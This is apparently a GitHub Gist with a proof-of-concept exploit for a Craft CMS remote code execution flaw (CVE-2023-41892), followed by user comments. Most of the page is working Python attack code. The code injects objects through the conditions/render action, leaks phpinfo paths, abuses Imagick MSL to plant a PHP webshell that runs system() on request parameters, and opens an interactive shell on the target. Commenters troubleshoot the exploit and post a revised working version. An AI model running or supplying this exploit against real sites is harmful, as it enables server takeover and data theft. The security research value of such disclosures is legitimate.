CVE-2023-41892 (Craft CMS Remote Code Execution) - POC

CVE-2023-41892-POC.md

This Gist provides a Proof-of-Concept (POC) for CVE-2023-41892, a Craft CMS vulnerability that allows Remote Code Execution (RCE).

Overview

CVE-2023-41892 is a security vulnerability discovered in Craft CMS, a popular content management system. Craft CMS versions affected by this vulnerability allow attackers to execute arbitrary code remotely, potentially compromising the security and integrity of the application.

POC

This POC is depending on writing webshell, so finding a suitable folder with writable permission is necessary.

import requests
import re
import sys

headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.88 Safari/537.36"
}

def writePayloadToTempFile(documentRoot):

    data = {
        "action": "conditions/render",
        "configObject[class]": "craft\elements\conditions\ElementCondition",
        "config": '{"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"msl:/etc/passwd"}}}'
    }

    files = {
        "image1": ("pwn1.msl", """<?xml version="1.0" encoding="UTF-8"?>
        <image>
        <read filename="caption:&lt;?php @system(@$_REQUEST['cmd']); ?&gt;"/>
        <write filename="info:DOCUMENTROOT/cpresources/shell.php" />
        </image>""".replace("DOCUMENTROOT", documentRoot), "text/plain")
    }

    response = requests.post(url, headers=headers, data=data, files=files)

def getTmpUploadDirAndDocumentRoot():
    data = {
        "action": "conditions/render",
        "configObject[class]": "craft\elements\conditions\ElementCondition",
        "config": r'{"name":"configObject","as ":{"class":"\\GuzzleHttp\\Psr7\\FnStream", "__construct()":{"methods":{"close":"phpinfo"}}}}'
    }

    response = requests.post(url, headers=headers, data=data)

    pattern1 = r'<tr><td class="e">upload_tmp_dir<\/td><td class="v">(.*?)<\/td><td class="v">(.*?)<\/td><\/tr>'
    pattern2 = r'<tr><td class="e">\$_SERVER\[\'DOCUMENT_ROOT\'\]<\/td><td class="v">([^<]+)<\/td><\/tr>'
   
    match1 = re.search(pattern1, response.text, re.DOTALL)
    match2 = re.search(pattern2, response.text, re.DOTALL)
    return match1.group(1), match2.group(1)

def trigerImagick(tmpDir):
    
    data = {
        "action": "conditions/render",
        "configObject[class]": "craft\elements\conditions\ElementCondition",
        "config": '{"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"vid:msl:' + tmpDir + r'/php*"}}}'
    }
    response = requests.post(url, headers=headers, data=data)    

def shell(cmd):
    response = requests.get(url + "/cpresources/shell.php", params={"cmd": cmd})
    match = re.search(r'caption:(.*?)CAPTION', response.text, re.DOTALL)

    if match:
        extracted_text = match.group(1).strip()
        print(extracted_text)
    else:
        return None
    return extracted_text

if __name__ == "__main__":
    if(len(sys.argv) != 2):
        print("Usage: python CVE-2023-41892.py <url>")
        exit()
    else:
        url = sys.argv[1]
        print("[-] Get temporary folder and document root ...")
        upload_tmp_dir, documentRoot = getTmpUploadDirAndDocumentRoot()
        tmpDir = "/tmp" if "no value" in upload_tmp_dir else upload_tmp_dir
        print("[-] Write payload to temporary file ...")
        try:
            writePayloadToTempFile(documentRoot)
        except requests.exceptions.ConnectionError as e:
            print("[-] Crash the php process and write temp file successfully")

        print("[-] Trigger imagick to write shell ...")
        try:
            trigerImagick(tmpDir)
        except:
            pass

        print("[-] Done, enjoy the shell")
        while True:
            cmd = input("$ ")
            shell(cmd)

Environment's from ACTF 2023

Result

Additional Resources

For more information and insights into this CVE, I would like to extend my thanks to Calif, who provided a reference to their blog post covering this topic:

• Calif's Blog Post - Craft CMS Remote Code Execution

Disclaimer

This Gist is intended for educational purposes only and should not be used for any malicious activities. Always ensure you have the necessary permissions and follow ethical guidelines when testing or researching security vulnerabilities.

For any questions or clarifications, please feel free to reach out. Stay safe and secure!

something worng maybe? itry your code in my leb, Remote file can not be uploaded, icheck the files , it didn't existed.

did you check the temporary folder's value via phpinfo() ? if my memory serves me right, i had some problem with the "private" /tmp folder in ubuntu 22.04 environment, after changing the value of it to false make the temp file create successfully or another way is to set the value of temp folder to a different location.

Is there anything else I need to do? The current poc doesn't work.

Is there anything else I need to do? The current poc doesn't work.

the same problem i'd like to know......

@Programmer-Red @Soya-xy I edited the POC, good luck for the CTF 🙄

Thanks。:)

can anyone explain what is the role of "files":"msl:/etc/passwd" in writePayloadToTempFile?

if I remove "/etc/passwd" leaving just "files":"msl:", the script would work as expected, so what is the point in /etc/passwd?

can anyone explain what is the role of "files":"msl:/etc/passwd" in writePayloadToTempFile?

if I remove "/etc/passwd" leaving just "files":"msl:", the script would work as expected, so what is the point in /etc/passwd?

The role of it is to make the php processing the http file upload request to crash, so the upload file will be saved into temp folder

can anyone explain what is the role of "files":"msl:/etc/passwd" in writePayloadToTempFile?
if I remove "/etc/passwd" leaving just "files":"msl:", the script would work as expected, so what is the point in /etc/passwd?

The role of it is to make the php processing the http file upload request to crash, so the upload file will be saved into temp folder

Ok, thanks. Then my question is why does it work with /etc/passwd omitted in the request?

The way I see it is that PHP simply has no legit path to save file, so the file gets saved to tmp.

anyone tried to repro with craft running on windows? for some reason php* files do not get stored in tmp... Any changes to be made to the script so it would work? thank you

Thanks man! I had to make a small change to the file being sent in the writePayloadToTempFile function. The tag does not have a / closing it. After adding, the POC worked perfectly.

files = {
        "image1": ("pwn1.msl", """<?xml version="1.0" encoding="UTF-8"?>
        <image>
        <read filename="caption:&lt;?php @system(@$_REQUEST['cmd']); ?&gt;"/>
        <write filename="info:DOCUMENTROOT/cpresources/shell.php" />
        </image>""".replace("DOCUMENTROOT", documentRoot), "text/plain")
}

I don't know if this problem only occurs in my environment. I'll leave it for you to check.

To be honest, I was a bit rusty when I released the POC and didn't check it carefully. There were some errors in the code (which make the poc not work on orther environment), but it should be alright now (hopefully 🥹). Truly sorry, and thanks for your help to make it complete, guys.

This dosent work rn, I'm having the same problem as Soya-xy

This dosent work rn, I'm having the same problem as Soya-xy

Can you provide detailed information? I have already fixed the issue for Soya-xy.

Nvm, I just used a fork of this

Yeah, works cleean, thxxx <3

for me I just delete the proxies and boom

not works

Thank you man. It didn't quite work for me right away, so I made some adjustments to the script.

If the POC didn't work for you either, give these modifications a try.

import requests
import re
import sys

headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.88 Safari/537.36"
}

def writePayloadToTempFile(documentRoot,tmpDir):

    data = {
        "action": "conditions/render",
        "configObject[class]": "craft\elements\conditions\ElementCondition",
        "config": '{"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"vid:msl:' + tmpDir + r'/php*"}}}'
    }

    files = {
        "image1": ("pwn1.msl", """<?xml version="1.0" encoding="UTF-8"?>
        <image>
        <read filename="caption:&lt;?php @system(@$_REQUEST['cmd']); ?&gt;"/>
        <write filename="info:DOCUMENTROOT/cpresources/shell.php" />
        </image>""".replace("DOCUMENTROOT", documentRoot), "text/plain")
    }

    requests.post(url, headers=headers, data=data, files=files)

def getTmpUploadDirAndDocumentRoot():
    data = {
        "action": "conditions/render",
        "configObject[class]": "craft\elements\conditions\ElementCondition",
        "config": r'{"name":"configObject","as ":{"class":"\\GuzzleHttp\\Psr7\\FnStream", "__construct()":{"methods":{"close":"phpinfo"}}}}'
    }

    response = requests.post(url, headers=headers, data=data )

    pattern1 = r'<tr><td class="e">upload_tmp_dir<\/td><td class="v">(.*?)<\/td><td class="v">(.*?)<\/td><\/tr>'
    pattern2 = r'<tr><td class="e">\$_SERVER\[\'DOCUMENT_ROOT\'\]<\/td><td class="v">([^<]+)<\/td><\/tr>'
   
    match1 = re.search(pattern1, response.text, re.DOTALL)
    match2 = re.search(pattern2, response.text, re.DOTALL)
    return match1.group(1), match2.group(1)
    

def shell(cmd):
    response = requests.get(url + "/cpresources/shell.php", params={"cmd": cmd})
    match = re.search(r'caption:(.*?)CAPTION', response.text, re.DOTALL)

    if match:
        extracted_text = match.group(1).strip()
        print(extracted_text)
    else:
        return None
    return extracted_text

if __name__ == "__main__":
    if(len(sys.argv) != 2):
        print("Usage: python CVE-2023-41892.py <url>")
        exit()
    else:
        url = sys.argv[1]
        print("[-] Get temporary folder and document root ...")
        upload_tmp_dir, documentRoot = getTmpUploadDirAndDocumentRoot()
        tmpDir = "/tmp" if "no value" in upload_tmp_dir else upload_tmp_dir
        print("[-] Write payload to temporary file ...")
        try:
            writePayloadToTempFile(documentRoot,tmpDir)
            writePayloadToTempFile(documentRoot,tmpDir)
            writePayloadToTempFile(documentRoot,tmpDir)
        except requests.exceptions.ConnectionError as e:
            print("[-] Crash the php process and write temp file successfully")

        print("[-] Done, enjoy the shell")
        while True:
            cmd = input("$ ")
            shell(cmd)